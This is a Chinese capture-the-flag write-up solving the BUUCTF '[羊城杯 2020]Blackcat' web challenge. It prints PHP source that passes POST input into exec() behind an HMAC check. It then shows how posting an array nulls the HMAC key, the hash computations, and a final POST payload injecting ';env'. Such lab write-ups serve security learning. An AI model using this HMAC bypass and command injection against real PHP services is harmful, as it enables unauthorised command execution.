【BUUCTF】[羊城杯 2020]Blackcat1

打开题目页面如下

发现是一段音频,去看看源码,是一个压缩包,下载看看

得到这些文件,发现居然还给了个假的flag,源码在index. php中,下面进行代码审计

php 复制代码
<?php
// 检查 $_POST 数组中 'Black-Cat-Sheriff' 和 'One-ear' 这两个键对应的值是否为空
// empty() 函数用于检查一个变量是否为空,为空的情况包括变量未定义、值为 0、空字符串、空数组等
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    // 如果 'Black-Cat-Sheriff' 或 'One-ear' 为空,则输出错误信息并终止脚本执行
    die('谁!竟敢踩我一只耳的尾巴!');
}

// 使用 getenv() 函数获取名为 'clandestine' 的环境变量的值,并将其赋值给变量 $clandestine
// 环境变量通常用于存储系统或应用程序的配置信息
$clandestine = getenv("clandestine");

// 检查 $_POST 数组中是否存在 'White-cat-monitor' 这个键
if(isset($_POST['White-cat-monitor']))
    // 如果存在 'White-cat-monitor' 键,则使用 hash_hmac() 函数对其进行哈希处理
    // hash_hmac() 函数使用指定的哈希算法(这里是 'sha256')和密钥($clandestine)对数据进行哈希运算
    // 并将结果重新赋值给 $clandestine 变量
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);

// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等
if($hh !== $_POST['Black-Cat-Sheriff']){
    // 如果不相等,则输出错误信息并终止脚本执行
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

// 如果前面的条件都满足,说明验证通过
// 使用 exec() 函数执行系统命令,这里尝试执行 "nc" 命令并拼接上 $_POST['One-ear'] 的值
// 这意味着 $_POST['One-ear'] 的值会作为命令的一部分被执行,存在严重的安全风险
echo exec("nc".$_POST['One-ear']);
?>

着重看这几行

php 复制代码
// 使用 hash_hmac() 函数对 $_POST['One-ear'] 的值进行哈希处理,使用 $clandestine 作为密钥
// 并将哈希结果赋值给变量 $hh
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

// 比较 $hh(计算得到的哈希值)和 $_POST['Black-Cat-Sheriff'] 的值是否不相等

恕我小白,不太明白,去看了大佬的博客,链接如下

[羊城杯 2020]Blackcat_[羊城杯 2020]blackcat 1-CSDN博客

大佬的思路如下

php 复制代码
<?php
$clandestine = hash_hmac('sha256', array(), 123);
$hh = hash_hmac('sha256', ';cat flag.php', $clandestine);
echo $hh;

利用上面的PHP代码求出value

可以用php在线运行,在线工具,在线编译IDE_w3cschool这个工具运行PHP

得到

04b13fc0dff07413856e54695eb6a763878cd1934c503784fe6e24b7e8cdb1b6

利用下面这exp求出Black-Cat-Sheriff的value

php 复制代码
<?php

var_dump(hash_hmac('sha256', ";env", NULL));

?>

得到

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

最后构造payload

White-cat-monitor[]=1&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

最后利用hackbar插件,用post传参,故最终得到flag

相关推荐
Zaralike19 分钟前
Linux 服务器网络不通排查 SOP(标准操作流程)
linux·服务器·网络
m0_4665252927 分钟前
绿盟科技风云卫AI安全能力平台成果重磅发布
大数据·数据库·人工智能·安全
云姜.30 分钟前
网络协议----OSI七层网络协议 和 TCP/IP四层(五层)网络协议
网络·网络协议
一分半心动33 分钟前
宝塔面板lnmp架构,tp6框架网站伪静态
nginx·php
!chen41 分钟前
LabVIEW TCP Server端工具TCP通信
网络·tcp/ip·labview
晚霞的不甘1 小时前
守护智能边界:CANN 的 AI 安全机制深度解析
人工智能·安全·语言模型·自然语言处理·前端框架
枷锁—sha1 小时前
【SRC】SQL注入快速判定与应对策略(一)
网络·数据库·sql·安全·网络安全·系统安全
数字护盾(和中)1 小时前
信创生态 + 国密算法 筑牢数字安全韧性根基
安全
郝学胜-神的一滴1 小时前
深入解析C/S模型下的TCP通信流程:从握手到挥手的技术之旅
linux·服务器·c语言·网络·网络协议·tcp/ip
池央1 小时前
CANN 算子诊断与故障定位:oam-tools 在异构计算错误解析中的作用
网络